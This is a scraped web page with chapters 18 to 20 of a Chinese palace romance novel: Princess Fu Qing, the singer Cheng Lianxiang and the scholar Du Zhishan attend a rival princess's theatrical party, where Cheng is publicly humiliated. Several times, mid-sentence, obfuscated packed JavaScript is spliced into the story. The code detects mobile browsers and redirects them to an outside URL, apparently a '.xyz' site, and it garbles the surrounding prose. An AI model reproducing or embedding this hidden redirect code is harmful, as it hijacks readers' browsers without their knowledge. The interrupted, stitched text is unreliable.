;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二人一躲一抢、一进一退,苻庆有些心急,直接站起了身。恰好此时马车发生一阵颠簸,苻庆站立不稳,眼见着就要向后倒去时,被程怜香拉住胳膊,一把拉进了怀中。 感觉到二人上身贴在一起,程怜香才意识到自己刚才做了什么,二人一个低头一个抬头。在马车逼仄的车厢中,春风吹起小窗的帷子,一线阳光照在了二人相距咫尺之间的脸上。从程怜香的角度看去,苻庆的嘴唇近在眼前。同时由于苻庆刚吃完缠蜜,嘴唇上还残留着蜂蜜的痕迹,惹得程怜香不自觉地想到,此时苻庆的嘴唇应该还是甜的。 一时间,只有彼此的呼吸声逐渐清晰。 程怜香耳朵瞬间红了,支支吾吾说道:“公主,我……” “你拿过来吧!”趁程怜香还在发呆,苻庆一把抢过手帕后坐起身。只是拿着手帕翻来覆去看了半天,最后还是一头雾水地抬起头,“什么呀?不就是一块没洗干净的手帕子吗?”苻庆指了指在手帕一角的红色痕迹,“这是什么啊?你吃完蜜糖葫芦拿它来擦嘴了?” “你!”程怜香伸手抢了一次没成功,此时因为刚才的羞涩导致说话还有些不利索,“反正就是我拿错了,你别管了。” “等等。”苻庆盯着手帕看了半天,终于想起来,“这不是昨天早晨我去找你的时候,拿来擦嘴的那块手帕吗?这是我昨天涂的口脂吧?”说完,苻庆笑的合不拢嘴,“真是不好意思,我昨天就说要松醪洗好再给你送回来的。怎么今日都没洗,是不是揽晴轩那些小丫鬟偷懒了?” “没有!”这一次程怜香终于抢回手帕,赶紧将手帕重新叠好,“反正是我拿错了,你管这些做什么?” “你放心,若是你嫌弃我,你可以把这块手帕直接扔了。一会回府我就让松醪给你送十块八块过来赔给你,那些手帕都是文思院做出来的,绣工特别好,那些桃花杏花、鸳鸯鸭子什么的,都绣的和真的似的。” “不用了,我就要我这块。”程怜香终于把手帕塞回袖中。半晌,忽然开口问道:“刚才,你没摔着吧?” “刚才……哦,没有。”苻庆这才想起来刚才发生在两人身上的事,她大大咧咧地说道:“好歹这次还没亲上,要不然你又得说是我对你图谋不轨了。” “这……”程怜香只感觉到脸更烫了,“这话怎么也能随便说呢?你怎么回事?” “好,是我忘了,我忘了我们怜香是最规矩、最守礼的孩子,这种孟浪的话可是连听都不能听的。”说完,看着程怜香的脸红到了脖子根,苻庆忍不住笑出了声。“真不明白你,怎么跟我的时间越久,反而越听不得调戏了呢?” “你!”程怜香看出苻庆眼中的促狭,别过脸不再说话。可心里又因为苻庆的话掀起波澜,如同被羽毛轻轻挠过,怎么也不肯服帖下去。 平心而论,原先程怜香听苻庆说这些话,只觉得是一种羞辱,面上虽烫却是气急了。可如今再听来,那种烫又不一样了。感觉自己像只掉光了毛的鸭子躲进了芦苇荡,偏又赶上一场大火,直烧得这片芦苇荡干干净净,让这只小鸭子无处可藏。再看苻庆的时候,心里有种莫名的胆怯,不敢直视她的眼睛。 就像此时,他不敢承认这块帕子是他特意收起来没有洗的。因为那种感觉说不清道不明,只是看到那块帕子,看到那块红色的口脂印,程怜香便会想起苻庆。有认真听自己唱戏的苻庆、胡说八道的苻庆、张牙舞爪的苻庆……他能想到的,总是这样鲜活的苻庆,亦如这块红色的口脂印记般,能够把你的眼光轻而易举吸引过去,在不经意间让你再也挪不开眼。 程怜香不明白为何会这样,他只知道即便那道芦苇荡的火烧到自己身上,烧得自己粉身碎骨,他也绝不能将这件事告知苻庆。 18. 冤家 由于宁慈心顺手也给公主府留了张请帖,苻庆又没办法把宁国公府的帖子当做视而不见,只好和程怜香一同参加堂会。她本打算先睡到日上三竿,临吃午饭再过去。谁知程怜香坚决不同意,说他必须早点去和鼓师等人进行磨合。苻庆明白程怜香在唱戏这件事上是精益求精的,便吩咐松醪提早给程怜香套了车,一大早就把程怜香送走了。而她自己则优哉游哉吃过早饭、梳妆打扮结束后,才坐着马车到达宁国公府。 宁国公府极大,下马车进府门后,还需要换乘小轿走一阵。苻庆平日里不爱坐轿子,轿厢比不得马车车厢大,坐在里面黑漆漆的,总觉得太拘束。更何况轿子还需要人用肩扛,苻庆小时候在锦西城看爹爹和将士们一起扛过木头,那是为了做城墙防御工事的。一天下来,大家即便在肩膀上用铁甲护住,也会磨掉一层皮肉。苻庆还记得那时候每晚回家,爹爹脱下衣服来肩膀上都是血肉模糊的。京城不需要定期做防御工事,这些达官贵人更不用扛长木头受累,为何偏要变着法子折磨旁人呢?偏偏无论是皇宫还是京城中达官贵人的家宅,修建面积都很大,从一个院子到另一个院子往往还要乘轿子。 “还好在我的公主府中,我可以自己说了算。”苻庆自言自语道。 转过两个院子,才终于到了今日举办堂会的院落。一下轿,一个打扮雍容华贵的妇人便走上前来,苻庆撑起一个笑容,脑袋里实则一片空白。还好今日松醪跟着,借扶苻庆下轿的机会凑上来轻声说道:“国公夫人。” 说起来苻庆对国公夫人的印象很少,那时候几次见到宁国公府人的机会,她都忙着和宁慈心掐架了。如今看到国公夫人如此慈祥殷切,一时间都有些无所适从。 “国公夫人。”苻庆屈膝行礼。 “快起来,快起来。”国公夫人搀起苻庆,“咱们之间还要这些虚礼做什么?” 国公夫人拉过苻庆的手,上上下下仔细打量一番,“几年不见,苻庆公主瞧着可是长大了。眉眼也长开了,竟瞧出几分苻将军的影子了。” 提到父亲,苻庆心中一软,她最喜欢旁人说她长得像自己爹娘。“那太好了,以前我还总害怕长得与我爹娘都不像呢。” “怎么会?你是他们的骨肉,自然也就会长得像他们。”国公夫人拉着苻庆向院子里走去。“谢谢你今日愿意赏脸。此次堂会都是阿慈一个人组织的。起先我还怕她面子薄、说话不顶用,撑不起这大场面,没想到大家还愿意给她面子。” 苻庆抬头,院子里热热闹闹。她认识的人少,但也能认出京城中几个有头有脸的人和家眷都到场了。苻庆心里想,这哪是给宁慈心面子,是给宁国公夫妇和程怜香面子吧?但面上还是笑着,对国公夫人客气道:“国公夫人这话就折煞我们了。” 正说着话,一个婢女忽然走上前和国公夫人耳语一阵,苻庆猜到是有事情要处理,主动说道:“国公夫人先去忙吧,我自己找会乐子。” 国公夫人略带歉意地微笑,却在转过头后声音都变得冷硬,板着脸对婢女吩咐道:“照顾好公主,听清楚了吗?” 婢女福身称是后,国公夫人就拍拍苻庆的手离开了。而苻庆还沉浸在国公夫人如孙猴子般的变脸速度中,差点忘记对国公夫人行礼。国公夫人走后,看着走在前头低着头带路的婢女,苻庆轻声对松醪说:“我怎么感觉在她家做婢女比在宫中还可怕?” 松醪抿住嘴作为回答。苻庆立刻明白松醪的意思,眨眨眼不再说话了。 宁慈心平日里嚣张跋扈,没想到料理家务却是一把好手。她选择举办堂会的这处院落面积不大,却因为位置靠里极为幽静。院中既有假山竹林,能够品茗抚琴,也有繁花似锦,摆放着琳琅满目各式糕点。宾客们不必受拘束,可以自由选择自己喜欢的区域休息。宫中宴席一向规矩,苻庆心中好奇,让带路的婢女离开后便四下游览欣赏起来。 “我还以为你不会来呢?” 苻庆抬头,果然是宁慈心迈着胜利的步伐走了过来。今日宁慈心打扮得不算张扬,一袭粉色兔戏蹴鞠如意纹锦长袖褙子,衬得她面容娇俏可人,倒比那天在公主府上见到的样子好看。 “长公主。”面子功夫还是要做,苻庆屈膝行礼。 宁慈心玩味一笑,“苻庆,今日你在我家,可不会再咄咄逼人,说要扇我了吧?” 苻庆打定主意装傻,微笑着说道:“长公主说的这是什么话?我几时敢说如此大不敬的话给长公主听?” “得了吧,咱俩之间就不必说这些场面话了,你我心里清楚就是。”宁慈心伸手示意苻庆跟自己走,“你放心吧,今日这堂会是我操办的,我肯定不会拿石头砸自己的脚,所以我愿意今日休战。” 我看你有病,苻庆在心里骂道。面上却只是微笑,“长公主快别说这些我听不懂的话了。刚才我下轿便遇到国公夫人,国公夫人仁善,还说我来是给长公主赏光呢。” “你……”听出苻庆这话背后的威胁之意,宁慈心站住,狠狠看了一眼苻庆后欲言又止。半晌却只是呼出一口气,面上已经重新带了笑容,“好,我都差点忘了,你今日确实是为我赏光。” 说着,宁慈心带苻庆走到一桌方桌前,“我一贯不喜欢拘束,所以今日宴席也不设主桌,大家都在各自位置上好好吃饭便是,不用虚礼。” 这点倒是甚合苻庆心意,她点点头。 “我知道你久居深宫,今日能来我操办的堂会,必然是看得起我。古人常说,来而不往非礼也。你放心,今日我也会好好招待你的。”宁慈心弯弯的眼睛像一把刀子,嘴巴却还是笑的,说完便转身离开了。 对于宁慈心的阴阳怪气苻庆早已经见怪不怪,此时她注意到桌上已摆了各式糕点,苻庆这一路折腾也有些饿了,便赶紧落了座,拿起点心品尝起来。 “公主。”身后的松醪忽然出声。 苻庆如梦初醒,“呀,差点忘了。”说完,赶紧拿了一块糕点转身递给松醪,“你也吃。” 松醪有些无奈,却还是接过糕点。“公主,您不觉得瑕英长公主最后说的那话有些奇怪吗?” “不奇怪,她不就是想弄死我吗?”苻庆把嘴里的枣泥酥咽下去,“松醪,你快尝一口啊,这枣泥酥是真的好吃。” 松醪配合地尝了一口,她还是有些担心瑕英长公主刚才所说的话。在松醪看来,那已经不是一句威胁这么简单,反而更像是一句预告。见苻庆满不在乎,松醪继续说道:“公主,要不一会上过鱼咱们就先走吧。” “那不就听不了程怜香唱戏了?” 松醪哭笑不得,“公主,成日在府中听,您还没听够吗?” “那能听够吗?”苻庆嘴里还塞着枣泥酥,迫不及待用手比划着,“程怜香那小腰就这么粗,待扮上妆,戴上我给他花了百两银子买的点翠头饰,水袖一甩,味道立刻就不一样了。这样的景致,难道你不想天天看?” 松醪承认程怜香貌美,但绝没有到想要天天看着的地步。因此在听了苻庆的话后只是微微皱眉,疑惑地问道:“公主,程伶人有您说的这么好吗?” “自然有啊!你心里不觉得吗?”苻庆不理解地歪头。见松醪摇摇头,震惊地张开嘴,继续用手比划道:“这么细的腰啊!那眼睛,那嘴巴,那小脸蛋……你不觉得,不觉得……” 松醪制止住了苻庆的滔滔不绝,“奴婢知道公主喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446108|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。只是今日奴婢实在觉得,此地不宜久留,咱们回府再看程伶人唱戏也是一样的啊。” “那可不一样。程怜香那人你还不知道?底下看戏的人越多,叫好的人越多他才越高兴,唱的也就越好。”苻庆笑着哼一声,“你没觉得平日他在咱们府里唱的,就没有那日在我生辰宴上唱得好吗?” 有吗?松醪在心中反问,却不敢说出来,省得苻庆又继续渲染起程怜香的多种优点来。“可是公主,奴婢还是怕长公主她……” “别怕,有我在呢,你怕什么?”苻庆拍拍胸脯,“兵来将挡水来土掩,不论发生何事,我都会站在你前面的。” 听了这话,松醪心内一热。她本是晏呢殿中婢女,自苻庆入宫后便一直伺候她。这六年来她早就知道苻庆是个表面玩世不恭,实则很有担当的人,苻庆从来没有把自己当做奴才对待过,更多的是像对待自己的姐姐一样依赖自己、听自己的话,也因此松醪总会控制不住自己担忧苻庆。 “公主,”松醪叹一口气,温柔又坚定地说道:“是您要永远站在我的身后。” 苻庆嘴里鼓鼓囊囊,圆圆的脸蛋像松鼠一般,“为何?我会保护我们的,你可不行。” “没关系。”松醪微笑。 我可以付出我的生命,松醪这样想道。 二人正说着话,忽然看见一个婢女向自己走来。苻庆腮帮子还鼓鼓的,有些疑惑地看着那个婢女。谁知婢女身影一晃,一个身着绿色官服、身披氅衣的男子走上前来。见苻庆的样子,男子先是一愣,继而展眉一笑,躬身行礼道:“下官见过公主。” 苻庆连忙背过身去,嘴里的东西却一时半会咽不下去,梗着脖子咽了半天。松醪一步挡在苻庆身前,欠身向那男子道歉:“公主失礼,奴婢代公主向杜博士道歉。” 杜至善看出苻庆嘴里还吃着糕点,连忙躬身回礼,“公主之礼,下官可经受不起。” 此时苻庆好歹将嘴里的糕点咽了下去,抚着胸口顺气。这个杜至善怎么总是阴魂不散的?苻庆有些生气,上次在公主府中,自己化了戏妆才好歹没被他认出来,而今日她虽说也化了妆,但到底能看出真实模样来,因此心里不免有些打鼓。 杜至善也已经看出苻庆是故意背对着自己,出言问道:“公主这是怎么了?可是有哪里不舒服?” 不过今日是在宁国公府,就算被杜至善真看出来了,他总不能在宁国公府当着这么多人的面翻脸?苻庆想了想,反正伸头一刀缩头也是一刀,倒不如赶紧接受现实,所以一咬牙一跺脚,猛地转过身来面对杜至善。 四目相对间,苻庆狠狠地盯着杜至善的眼睛,试图看出杜至善究竟有没有认出自己。但杜至善只是一脸茫然,虽然眼睛和苻庆静静对视着,但其中深不见底,什么也瞧不出来。 眼见两个人你看我我看你的都不说话,引路的婢女最先站不住了。松醪连忙咳嗽一声提醒苻庆,“公主,杜博士刚才问您有没有不舒服?” 苻庆这才意识到自己做的有些冒失,这毕竟还是在宁国公府的堂会上,自己还不能无所顾忌。连忙别过眼神,往后退了一步。“无妨,无妨。是我失礼在先,杜博士不要见怪。” 杜至善也并没有再追问苻庆紧紧盯着自己不说话的原因,拱手行礼转移了话题,“公主这是哪里话?” 此时苻庆终于能够断定杜至善并没有认出自己,苻庆长舒一口气,后知后觉自己有些太过谨慎。毕竟那日自己的伪装还是很下功夫的,不说当时是自己站在岸上而杜至善跌坐在水塘中,便是真面对面见过,恐怕也很难将自己和那个小厮联想到一起。这样想着,苻庆逐渐放下心来,开口问道:“你怎么来了?” 19. 睽睽 杜至善好像没想到苻庆会这样问自己,却还是老老实实回答:“下官父亲收到宁国公府请帖,家父偶感风寒,只好让下官前来了。” 苻庆皱眉,“我的意思是,那你不应该去外院男宾席吗?在这做什么?” 听到苻庆这么问,领路的婢女向前走一步,“回公主的话,我家长公主说公主和杜博士既有婚约,按理便可以坐在男女混席处了。” 苻庆诧异,“什么?” 还没等苻庆继续说话,杜至善忽然向前一步,挡在苻庆与那婢女之间,“我与公主虽有圣上赐婚,却并未订婚,也未下聘礼。瑕英长公主如此安排,实在有些失礼。” 那婢女像是没想到杜至善会率先发难,立刻就慌了神,连忙低头道歉:“奴婢不知、奴婢实在不知此事。奴婢这就去禀告长公主,请二位稍候。” “算了算了。”苻庆忽然想到什么,大手一挥制止住了那个婢女,“我实在怕你家长公主会把你打一顿,你还是别去了。” 看着那个婢女诚惶诚恐、魂不守舍的样子,再想到宁慈心的传言以及国公夫人刚才对婢女说话的口吻,苻庆最终还是决定息事宁人。 “坐下吧,反正宁慈心有钱,咱们二人一桌,国公府的饭总不至于不够吃吧?” 见苻庆重新坐下,那婢女千恩万谢地退开了。而杜至善拱手行礼后,脱下氅衣披在椅子上,坐在了苻庆身边。 二人面朝同一方向,胳膊肘几乎就碰在一起,苻庆能够感觉到一阵阵温热从旁边传来。 真奇怪,这杜至善怎么和个火炉子似的?苻庆在心里想道。鼻子仔细闻一闻,空气中还有一股皂角胰子的味道。苻庆平时与程怜香挨着时,由于程怜香喜欢熏香,身上便总带着一股若有若无的石叶香,和杜至善很不一样。 “公主能为那婢女着想,实在是仁善。” 苻庆没想到杜至善会对自己没话找话说这些,被如此恭维又有些不适应,连忙摆手说道:“不敢当不敢当。” 杜至善却像是上了弦,完全不在意苻庆的尴尬,继续说道:“公主为了怕那婢女受罚,这等事都能够忍耐,怎么不能算是仁善呢?” “这等事?”苻庆扭过头看向杜至善,“杜博士觉得这等事很要紧吗?咱们总归是有婚约的,在一桌子吃饭也是迟早的事,何必大惊小怪呢?” 杜至善一滞,没有说话。 为了防止杜至善继续这个话题,苻庆率先开口问道:“刚才杜博士说你爹爹生病了?严重吗?有没有看过大夫?” 杜至善微笑,“略感风寒,大约是前几日倒春寒冻着了。陛下慈悲,已经为家父宣了太医看过,还准许家父在家中休养几日。” “怪不得你今日还穿了氅衣。”苻庆说起来便想笑。如今已是二月下旬,天气早就转暖,今日宁国公府即便是女眷也没有穿氅衣前来的,杜至善此举也不怕被人笑话。“也好。杜太傅侍奉东宫,朝野上下谁人不知杜太傅辛苦,可别累坏了身子。” 杜至善拱手道谢,接着轻声说道:“公主恕下官多嘴。只是下官听家父说,太子殿下近来很有长进。薛贵妃头风病犯了,陛下还特恩准太子殿下回宫探望母亲。” 本朝为了防止太子母家专权,一直忌讳太子入主东宫后再回宫探望自己母亲,连皇后嫡子都不能例外。因此,自从七皇子被封为太子后,再回宫看望薛贵妃便需要提前请示皇上,得到恩准后才能前往。也因此,苻庆直到出宫也没能再见到表弟一面。如今听到表弟一切安好,姨母还能见到表弟一面,心里感觉到一阵安慰。 “多谢你。”苻庆发自内心说道,“这不是你多嘴,而是我真正想要听到的话。” 杜至善见自己猜中了苻庆心中所想,微笑颔首接受了苻庆的道谢。 宴席要开始了,婢女开始上前布菜。苻庆坐在那里看着桌面发呆。 也许嫁给杜至善确实是个不错的选择,起码他会是个出色的盟友。许多事情即便苻庆不与他明说,他也总能自己找到苻庆最感兴趣的部分。 宴席的菜也就那么回事了,苻庆拿起手帕擦嘴。京城人口味清淡,苻庆来到京城这么些年也不曾习惯。平日在公主府时,苻庆总会要求小厨房多加些调味料,味道重一些。但宁国公府菜肴味道与宫中一脉相承,苻庆对这些菜的兴趣远没有对各色点心果子的兴趣大。不过有一样苻庆很是满意,便是宁国公府今日为各桌准备的酒水。 酒壶上桌后苻庆也不管这酒到底是不是为自己准备的,率先饮了一口。只一口,苻庆便能尝出这酒是陈酿,酒香清冽、入口回甘。苻庆贪杯,多饮了好几杯。反而是杜至善,几乎只喝了一杯后,便再没有动过酒杯。 撤席后苻庆出恭,在院中僻静处被春风一吹,才后知后觉自己今日喝得有些多,此时已有些头晕脑胀起来。松醪扶着苻庆叹气,只觉得苻庆有些太过掉以轻心,重新劝说起苻庆。“公主,要不咱们还是先走吧。” “都等到这会了,不差多少时间。”苻庆摆手,挣脱开松醪的手。“你看,我还能站稳呢,没喝多。” 松醪无奈,但想到杜至善刚才挡在苻庆身前的样子,又莫名觉得有对方在,应该不至于出什么问题。 心里想着,松醪不自觉说道:“公主,恕奴婢多嘴,奴婢倒觉得杜博士这个人,还算可以。” 苻庆脸蛋红晕,懒洋洋地抬眼看松醪,“怎么说?” 松醪扶着苻庆避开一块锋利的鹅卵石,接着说道:“奴婢只是觉得,杜博士瞧着沉稳,应该能保护好公主。” 苻庆只觉得松醪这话有些呆,微微一笑问道:“本公主是什么人,还用得着他保护?” 松醪也笑,后知后觉自己的愚蠢,“公主说得对,是奴婢失言了。” 松醪笑是因为她忽然想起来这世间男女婚配遵守父母之命、媒妁之言,大多是盲婚哑嫁。婚前任父母再如何仔细挑选,婚后真正美满的夫妻还是少之又少。自己如今只是觉得杜至善沉稳,便怂恿公主依托于他,实在是个蠢念头。而苻庆笑是因为她忽然想到自己怒扇程怜香的那巴掌,若是让程怜香知道此刻松醪居然说要杜至善保护自己,恐怕要笑掉大牙了吧。 再回到座位,桌上已经重新上了茶水点心,枣泥酥也重上了盘新的。只是那婢女摆的位置不好,偏偏把那枣泥酥摆在了杜至善那边,苻庆要是想拿胳膊需要伸的老长不说,杜至善肯定也能意识到苻庆爱吃这东西。 自己喜好绝不能在外人面前表现出来,这是宫里教的规矩。 正想着,戏台忽然传来乐器声,一个身着白色衣服的小生由二人搀扶着走上台来。苻庆皱眉,正好听到背后松醪噗嗤一笑。苻庆自己也觉得好笑,这个宁慈心,怎么选个戏都这么会挑时候?今日自己多喝了几杯,她就选了《百花赠剑》一折唱,一开场便是喝醉的海俊被扶上台。 没一会,程怜香着大宫装,头戴凤盔、翎子,腰间别着剑走上台来。程怜香一开嗓,苻庆的注意力便被吸引到了台上。自己刚才说的果然没错,程怜香还真是个天生成角儿的命,底下看的人越多,程怜香也就演得越好。一出戏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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杜至善看向苻庆,对方自始至终没有看自己,但杜至善已经明白苻庆算是接受了自己的好意。半晌,杜至善低头一笑,“公主放心,微臣遵命。” 一折戏结束,台上诸位伶人向观众行礼,接着便鱼贯而出。程怜香娉娉袅袅行过礼后,也跟着走下台去。谁知还没走到下台口,便听得“砰”一声,入相门内里被堵上了。 苻庆从背影便看出程怜香愣了一下,但很快便反应过来,转过身来继续谢幕。苻庆此时已经明白,这件事应当不是彩排时商量好的了。 “听说这个就是前几日被抢入公主府的那个戏子。” “怪不得我瞧着眉眼这么好看。” 底下已经有不少人开始窃窃私语,讨论的声音越来越大。苻庆皱眉,枣泥酥被攥在手中。但程怜香却像听不到一般,仍然在俯身谢幕。 忽然,男席那边不知道是谁喊了一嗓子,“小娘子,唱得好!再唱一曲吧!” 一时间,台下众人开始起哄,嬉笑起哄声连成一片。 程怜香不说话,只是摆手摇头。奈何下场的门被关上了,上场门是程怜香绝对不会走的,他也不能从戏台上一跃而下,最后只能在台上不停微笑求饶。 “这……”杜至善刚要说话,只听得苻庆“砰”一声拍在桌子上。 “欺人太甚!” 说完,苻庆一把抓起杜至善披在椅子上的氅衣往戏台走去。很快便有人注意到苻庆,嬉笑的声音逐渐小了下去,待苻庆走到戏台下时,在场诸位已经齐齐没了动静。而苻庆也没有给他们反应的时间,她动作利索地踩着桌子登上戏台。见程怜香正愣在原地看着自己,忍不住叹口气,先是将氅衣披在程怜香身上。接着,扶着程怜香的肩膀走到入相门口,抬起右脚,一脚把门踹开了。 后台中鸦雀无声,只有几个婢女站在那里。苻庆见她们都低着头默不作声,也不愿多说为难她们,只是拉着程怜香一路走出来。 20. 香饵 终于走到一处荒僻无人的位置,苻庆停下脚步。 不知是上着妆的缘故还是程怜香发觉自己又被苻庆救了而有些不好意思,虽然从离开后台时便满腹狐疑却一直不敢说话,只等到苻庆停下脚步才轻声问道:“咱们,到这来做什么?” “为了让我背影看起来更潇洒一些。”苻庆实话实说。再看向程怜香,对方糊里糊涂被自己拖着走过来,现在正一副可怜巴巴的无辜样子,瞪大了眼睛看着自己。苻庆忍不住笑了,“你看我干什么?” 程怜香眨眨眼,“我……自己的衣服还在里头呢。” 苻庆被程怜香这副乖巧的样子逗乐,又见程怜香还是戏里模样,忽然起了心思想去摸一把他头上的翎子。刚才在戏里,程怜香就是用那条翎子勾了一下海俊的脸颊,同时也勾了一下苻庆的心。伸出手,苻庆忽然想起来之前程怜香对自己讲过,扮上后其他人不能碰伶人的戏服盔头。想了想还是没有下手,反而是伸手刮了一下程怜香的鼻尖。 “你!”程怜香往后一躲,嘴上嗔怪道:“我脸上有油彩。” “我乐意。”苻庆没注意到程怜香其实并没有怪罪她的逾矩动作,而是默许了苻庆对他做一些亲昵的小动作。说完话,苻庆跟着程怜香往他换衣服的地方走去。 宁国公府养了一个戏班,但并没有让程怜香跟他们在一个院中候场,反而给程怜香自己准备了小院落,东西也都放在了这边。苻庆跟着程怜香一路走过来,眼睛四处打量着。 “看来,宁慈心是早就准备好让你出洋相了。” 程怜香走出去又退回来,紧紧盯着苻庆问道:“你不会打算去找瑕英长公主算账吧?” “算账?我找她算什么账?”苻庆一脸疑惑,“它是让你出丑,又不是让我出丑,我找她算什么账?” 程怜香长舒一口气,继续往屋里走去。 “但你是我的人,她让你出丑就等于打我的脸。而我这个人,谁敢打我的脸,我就和谁没完。” 程怜香又走了回来。 苻庆看程怜香来来回回有些想笑,忍俊不禁地看着程怜香:“你在这走来走去干嘛呢?不着急换衣服了?” 程怜香从刚才起便担心苻庆对此事轻易不肯罢休,蹙眉说道:“公主,此事到此为止吧,您别找瑕英长公主麻烦了。” 这下轮到苻庆皱眉头了,“你说什么?” 程怜香看出苻庆有些生气,但他此时也顾不得苻庆会不会生气,继续劝说道:“公主,瑕英长公主那脾气你也知道的,你报复回去,她肯定又要报复回来。你俩这样报复来报复去的,最终只是徒增烦恼,何必呢?” 苻庆已经被程怜香的话气笑了,反问程怜香:“你是不是脑子坏了?宁慈心是给你一千两不假,但你也不至于连脸皮都不要了吧?她这么对待你,你居然还劝我不要徒增烦恼?程怜香,我倒问问你,你是不是个傻的?” “她这么对待我,我自然生气。若是我有什么办法还回去,我自然会还回去。”程怜香有些着急,“可我只是一介平民,她是长公主,我若想报复她,只能借助你的力量。” “那不是正好?反正我也想收拾她。” 程怜香看着苻庆的眼睛,神情是前所未有的郑重,“可我不想你为了我,和瑕英长公主闹僵。” “我……”苻庆说不出话。她很想告诉程怜香自己不只是为了他,但又觉得自己好像就是为了程怜香。 程怜香还是很着急,“瑕英长公主身份尊贵,背后还是宁国公撑腰。你只有自己一个人,全靠皇上的垂怜活到今日。若你为着斗气,和瑕英长公主闹到京城人尽皆知、不可收拾,你觉得皇上会怎么处理?难道他会为了你去罚宁国公的独女吗?” 苻庆语塞。 不得不承认,程怜香说的是对的。自己小时候和宁慈心小打小闹时,皇上便曾经旁敲侧击过,让她不要惹宁慈心。自己若今日真的和宁慈心吵起来,最终必然会毁了这场堂会,闹得整个京城都知道。到那时,皇上便不得不出面调停,而最终受委屈的是自己还好,只怕皇上会因此怪罪姨母、表弟,甚至还有本就是无辜被牵连进来的程怜香。 “那能怎么办!”苻庆跺脚,“难道这件事就这么忍了?这么大一口气,难道就让我自己吞了?我跟你讲,我这几天都睡不着觉的!” 程怜香见自己刚才说的话已经起了作用,轻声细语继续劝道:“反正受辱的人是我,你就当做什么都不知道好了。”见苻庆还是气鼓鼓的,程怜香想了想说道:“你若是答应我,回去我就把那一千两包银都给你,好不好?” “谁要你那一千两!”苻庆抬眼,看着程怜香微微蹙眉、眼中满是担忧的样子,后面的话又怎样都说不出口了。 程怜香如今还穿着戏装,一双眸子娇滴滴地看着苻庆,说话语气好像在撒娇。“公主,算我求求你,你就别去了。这种事我原先在和春班唱戏时也遇到过的,实在是算不了什么。” 看着程怜香楚楚动人的模样,苻庆只觉得自己的怒火在一点点熄灭。话都说到这份上,苻庆除了答应还能怎么办呢?苻庆深呼出一口气,咬着下嘴唇刚准备点头,忽然听见院外一阵脚步声。 “公主!” 苻庆回过头,正好看见松醪走进来,身后还跟着杜至善。 这院子位置比较蹊跷,因此苻庆很是诧异,“你们怎么找过来的?” 松醪用眼神指向杜至善,苻庆的眼神顺着看过去,发现杜至善正微笑着晃了晃手中的钱袋,“香饵之下,必有悬鱼。” 苻庆会意,也跟着笑起来,“杜博士真是破费了。” 杜至善摇头,走上前来。先是上下打量了一遍程怜香,再转头开口问苻庆道:“没出什么事吧?” “没有。”苻庆摇头,“我倒是想问戏台子那边,我走之后没出什么事吧?” 杜至善温和一笑,“有宁国公和国公夫人在,自然不会出什么事。” 看来是宁国公夫妇俩站出来息事宁人了,苻庆点头。“劳烦你了,还特意跑过来。” 杜至善笑而不语,站在一旁的松醪轻声提醒道:“公主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446110|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,杜博士是来取他的氅衣的。” 苻庆这才想起来刚才自己拿的是杜至善的氅衣,惊讶之余连连道歉,“真是抱歉,我给忘了。” 还没等苻庆开口,程怜香忽然说道:“什么人的衣服也敢往我身上披。我这身行头金贵得很,弄坏了怎么办?”说完,一把甩开氅衣,转身进了屋子。 还好苻庆眼疾手快接住氅衣,才不至于让衣服落在地上。苻庆笑一笑,“他脾气大,让杜博士看笑话了。” 杜至善没有笑,接过氅衣披在身上,半晌忽然大声说道:“无妨,只是下官手拙,还要劳烦公主帮下官系一下氅衣的带子吧。” 苻庆还沉浸在自己擅作主张拿走杜至善氅衣的愧疚中,闻言立刻走上前从杜至善手中接过氅衣领口的系带,三下五除二帮杜至善系好,最后还不忘帮杜至善抚平领口的褶皱。 屋里传来一阵东西倒地的声音。 苻庆有些疑惑,松醪主动走上前,“公主,我进屋看一下程伶人。”苻庆点头,松醪走了过去。 一时间院中只留下苻庆和杜至善两人。 “公主之后有什么打算?” “打算?”苻庆没明白杜至善的话从何而起,疑惑地看向杜至善。 杜至善坦然应对上苻庆的目光,“以我对公主的了解,公主恐怕不是甘心善罢甘休的人。” 苻庆反应过来,但想到刚才自己与程怜香说好的话,便只是叹口气,“宁慈心背后有宁国公撑腰,我不过是个孤女,无权无势,怕也只能罢了。” 杜至善却毫不在意,“公主这话说得,难道要报仇还需要是有权有势之人才能做到吗?” 苻庆听出杜至善有话外之音,果然在看向对方时,看到杜至善露出一个胸有成竹的笑容。 “若公主愿意,微臣愿意帮公主报今日之仇,便当作下官给公主的投名状吧。” “你?”苻庆心中有些狐疑,“你想怎么做?” 杜至善并不打算回答,“公主只需要答好或不好便是,至于旁的都不必费心。” 此时苻庆才发现,杜至善笑起来的时候眼睛眯着,像是一只发现猎物的狼,正趴伏在草丛中伺机出动。 “好。”苻庆果断点头,“既然如此,我还有什么理由说不好呢?” 